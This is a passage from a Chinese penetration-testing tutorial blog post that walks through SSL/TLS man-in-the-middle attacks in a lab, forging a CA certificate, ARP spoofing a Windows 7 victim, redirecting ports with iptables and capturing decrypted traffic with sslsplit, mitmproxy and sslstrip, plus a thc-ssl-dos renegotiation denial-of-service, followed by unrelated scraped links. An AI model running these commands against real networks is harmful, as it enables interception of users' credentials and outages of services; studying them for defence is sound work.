小白日记53:kali渗透测试之Web渗透-SSL、TLS中间人攻击(SSLsplit,Mitmproxy,SSLstrip),拒绝服务攻击
SSL、TLS中间人攻击
攻击者位于客户端和服务器通信链路中
利用方法:
修改DHCP服务器 (存在就近原则)
手动修改网关
修改DNS设置
修改HOSTS文件【高于DNS】
ICMP、STP、OSPF
加密流量
中间人攻击前提 【以下某一条符合则可】
1、客户端已经信任伪造证书颁发机构(安装其根证书)
2、攻击者控制了合法证书颁发机构(控制CA服务器,为自己颁发证书)
3、客户端程序禁止了显示证书错误告警信息 (程序员个人能力有限)
4、攻击者已经控制客户端,并强制其信任伪造证书 (强制安装中间人的根证书)
工具演示 【结合ARP地址欺骗】
透明SSL/TLS中间人攻击工具
对客户端伪装成服务器,对服务器伪装成普通客户端
伪装服务器需要伪造证书
支持SSL/TLS加密的SMTP、POP3、FTP等通信中间人攻击
*****************************************************************************************************************
伪造证书
1、利用openssl生成证书私钥
openssl genrsa -out ca.key 2048 【-out:输出为文件ca.key】

2、利用私钥签名生成证书 【需填写些伪造证书的信息,尽量接近真实】{可通过上一章的openssl扫描目标站点得到颁发者的信息}
openssl req -new -x509 -days 1096 -key ca.key -out ca.crt 【req:请求;-new:新的;-x509:格式;-days:有效期;-key指定私钥;-out:根证书】


*****************************************************************************************************************
正常情况下,中间人电脑没有路由转发功能
启动路由
sysctl -w net.ipv4.ip_forward=1 【修改配置文件中路由转发功能项的值】
等价与 echo 1 > /proc/sys/net/ipv4/ip_forward

Iptables端口转发规则 【将本机443端口接收到的流量转发到SSLsplit侦听的端口(SSLsplit)】
iptables -L 查看规则设置

iptables -t nat -L 查看nat表中的规则

iptables -t nat -F 清空当前表规则

#先检查80与443端口是否被占用 【如果有,则kill】

iptables -t nat -A PREROUTING -p tcp --dport 80 -j REDIRECT --to-ports 8080 【#HTTP】
【-t:指定表;-A PERROUTING:路由前生效;-p:指定协议;--dport:接受流量的端口;-j:指定处理方法(REDIRECT重定向);--to-ports:转发端口】
iptables -t nat -A PREROUTING -p tcp --dport 443 -j REDIRECT --to-ports 8443 【#HTTPS】
iptables -t nat -A PREROUTING -p tcp --dport 587 -j REDIRECT --to-ports 8443 【#MSA】
iptables -t nat -A PREROUTING -p tcp --dport 465 -j REDIRECT --to-ports 8443 【#SMTPS】
iptables -t nat -A PREROUTING -p tcp --dport 993 -j REDIRECT --to-ports 8443 【#IMAPS】
iptables -t nat -A PREROUTING -p tcp --dport 995 -j REDIRECT --to-ports 8443 【#POP3S】

iptables -t nat -L

ARP欺骗 【win7为受害机】(被害者完全没察觉)
arpspoof -i eth0 -t 192.168.56.103 -r 192.168.56.100【-i:指定网卡;-t:欺骗目标;-r:网关地址】
(欺骗103,让其认为攻击机为网关)【发包(给103)不能停下】

欺骗前:【注意:192.168.56.100与..56.102的物理地址】

成功欺骗 【网关mac地址为..56.102的mac地址】

启动SSLsplit侦听设定的端口
sslsplit -D -l connect.log -j /root/test -S logdir/ -k ca.key -c ca.crt ssl 0.0.0.0 8443 tcp 0.0.0.0 8080

【-D:详细信息;-l:记录连接信息-j:越狱根目录;-S:记录所有请求和接受数据】(需保证root目录中有test目录,其中有logdir目录)

# 伪造成功
通过被害机Win7访问https的网站,会出现“安全证书有问题的错误”,若点击接受,则链路被成功劫持,攻击机可嗅探传输的信息
【在客户端访问攻击机时,sslsplit一瞬间将真实访问站点证书的真实信息收集记录下来,进行伪造浏览器中可查看的证书,以供用户查看】
#在connect.log可查看连接信息
#在test/logdir可查看传输数据 【使用grep命令筛选数据】
#sslsplit会自动进行一定程度的解密,一般可查看到其数据信息
#当安装过伪造的根证书之后,访问网站的适合,将无告警提示
Mitmproxy
前提:进行arp欺骗,但自动集成默认的证书
缺点:只能在8080端口侦听,指定其他端口,会出现问题
mitmproxy -T --host -w mitmproxy.log 【有类图形化界面;-w:指定的记录文件】
SSLstrip 【强制受害者发送明文的数据到中间人的电脑,中间人再加密进行传输】
与前两种工具不同,将客户端到中间人之间的流量变成明文,但同样需要结合arp地址欺骗 【无需进行证书伪造】但可能会被发现
sslstrip -l 8080
【会自动生成sslstrip.log文件】
SSL/TLS拒绝服务攻击
对象:提供SSL安全连接的网站或服务 【占本机流量不大】
thc-ssl-dos
原理:SSL协商加密对性能开销增加,大量握手请求会导致拒绝服务。
利用SSL secure Renegotiation特性,在单一TCP连接中生成数千个SSL重连接请求,造成服务器资源过载
与流量式拒绝服务攻击不同,thc-ssl-dos可以利用dsl线路(私人家用)打垮30G带宽的服务器
一般性能的服务器平均可以处理300次/秒SSL握手请求
对SMTPS、POP3S等服务同样有效
thc-ssl-dos <des> <port> --accept 【--accept:强制添加的参数】
对策
禁用SSL-Renegotiation、使用SSL Accelerator
【通过修改thc-ssl-dos代码,可以绕过以上对策】
小白日记53:kali渗透测试之Web渗透-SSL、TLS中间人攻击(SSLsplit,Mitmproxy,SSLstrip),拒绝服务攻击的更多相关文章
- 小白日记28:kali渗透测试之Web渗透-扫描工具-Nikto
扫描工具-Nikto #WEB渗透 靶机:metasploitable 靶场:DVWA[默认账号/密码:admin/password] #新手先将DVWA的安全性,调到最低,可容易发现漏洞 侦察[减少 ...
- 小白日记30:kali渗透测试之Web渗透-扫描工具-Skipfish
WEB渗透-skipfish Skipfish是一个命令行模式,以C语言编写的积极的Web应用程序的安全性侦察工具,没有代理模式. 它准备了一个互动为目标的网站的站点地图进行一个递归爬网和基于字典的探 ...
- 小白日记54:kali渗透测试之Web渗透-补充概念(AJAX,WEB Service)
补充概念 AJAX(异步javascript和XML) Asynchronous javascript and xml 是一个概念,而非一种新的编程语言,是一组现有技术的组合 通过客户端脚本动态更新页 ...
- 小白日记52:kali渗透测试之Web渗透-HTTPS攻击(Openssl、sslscan、sslyze、检查SSL的网站)
HTTPS攻击 全站HTTPS正策划稿那位潮流趋势 如:百度.阿里 HTTPS的作用 CIA 解决的是信息传输过程中数据被篡改.窃取 [从中注入恶意代码,多为链路劫持] 加密:对称.非对称.单向 HT ...
- 小白日记51:kali渗透测试之Web渗透-WebShell(中国菜刀、WeBaCoo、Weevely)
webshell 本质:<?php echo shell_exec($_GET['cmd']);?> windows平台 中国菜刀官网:胖客户端程序,国产中比较优秀的webshell,适用 ...
- 小白日记50:kali渗透测试之Web渗透-CSRF
CSRF CSRF原理:经常与XSS混淆. 从信任的角度进行区分:XSS:利用用户对站点的信任:CSRF:利用站点对已经身份认证的信任(有一定的信任)[默认情况:站点不信任客户端] 结合社工在身份认证 ...
- 小白日记37:kali渗透测试之Web渗透-手动漏洞挖掘(三)-目录遍历、文件包含
手动漏洞挖掘 漏洞类型 #Directory traversal 目录遍历[本台机器操作系统上文件进行读取] 使用者可以通过浏览器/URL地址或者参数变量内容,可以读取web根目录[默认为:/var/ ...
- 小白日记35:kali渗透测试之Web渗透-手动漏洞挖掘(一)-默认安装引发的漏洞
手动漏洞挖掘 即扫描后,如何对发现的漏洞告警进行验证. #默认安装 流传linux操作系统比windows系统安全的说法,是因为windows系统默认安装后,会开放很多服务和无用的端口,而且未经过严格 ...
- 小白日记34:kali渗透测试之Web渗透-扫描工具-Burpsuite(二)
扫描工具-Burpsuite 公共模块 0.Spider 爬网 手动爬网 先禁用截断功能 手动将页面中点击所有连接,对提交数据的地方,都进行提交[无论内容] 自动爬网[参数设置] 指定爬网路径,否则其 ...
随机推荐
- JVM知识(四):GC配置参数
JVM配置参数分为三类参数:跟踪参数.堆分配参数.栈分配参数 这三类参数分别用于跟踪监控JVM状态,分配堆内存以及分配栈内存. 跟踪参数 跟踪参数用户跟踪监控JVM,往往被开发人员用于JVM调优以及故 ...
- mysql使用笔记(网易Mysql实用手册)---1
1帮助使用 1.1按层次查看帮助 1 当不知道帮助可提供什么时,可通过MySQL内置帮助文档,一层层往下看. 命令: mysql> ? contents ? 等效help,该文档涵盖了数据库操作 ...
- vuejs code splitting with webpack 3种模式
我们知道一个web app如果太大会严重影响用户的体验,如何能够最快速度地让用户看到完整页面是优化web应用需要做的重要工作. 这其中使用code split实现lazy加载,只让用户初次访问时只加载 ...
- ASP.NET MVC下Bundle的使用
ASP.NET MVC中Bundle是用于打包捆绑资源的(一般是css和js),它是在全局文件Global.asax.cs中注册Bundle,而注册的具体实现默认是在App_Start文件夹的Bund ...
- windows多线程同步
概述 任何单个应用程序都不能完全使该处理器达到满负荷.当一个线程遇到较长等待时间事件时,同步多线程还允许另一线程中的指令使用所有执行单元.例如,当一个线程发生高速缓存不命中,另一个线程可以继续执行.同 ...
- Linux strace命令详解
Linux抓取TCP的命令: tcpdump ps -ef 参数命令详解: Linux下一切皆文件,我们打开一个socket,实际上也是打开了一个文件 我们打开一个网卡,实际上也是调用Linux系统的 ...
- 批处理文件(Batch Files )
后缀是bat的文件就是批处理文件,是一种文本文件.简单的说,它的作用就是自动的连续执行多条命令,批处理文件的内容就是一条一条的命令. 新建一个批处理abc.bat,里面内容如下:@echo offec ...
- Matlab绘图——对称曲线绘制(转)
转自 http://blog.csdn.net/lyqmath/article/details/6004885 目的:对曲线数据做对称绘制 思想:根据两曲线按a对称,则x1 + x2 = 2a的原则 ...
- PHP设计模式系列 - 外观模式
外观模式 通过在必需的逻辑和方法的集合前创建简单的外观接口,外观设计模式隐藏了调用对象的复杂性. 外观设计模式和建造者模式非常相似,建造者模式一般是简化对象的调用的复杂性,外观模式一般是简化含有很多逻 ...
- JPEG图片扩展信息读取与改动
近日项目中须要用到往jpg图片中写入信息(非水印),经调研发现Android中已经封装了读写jpg图片扩展信息的api(ExifInterface). 相应api地址:http://developer ...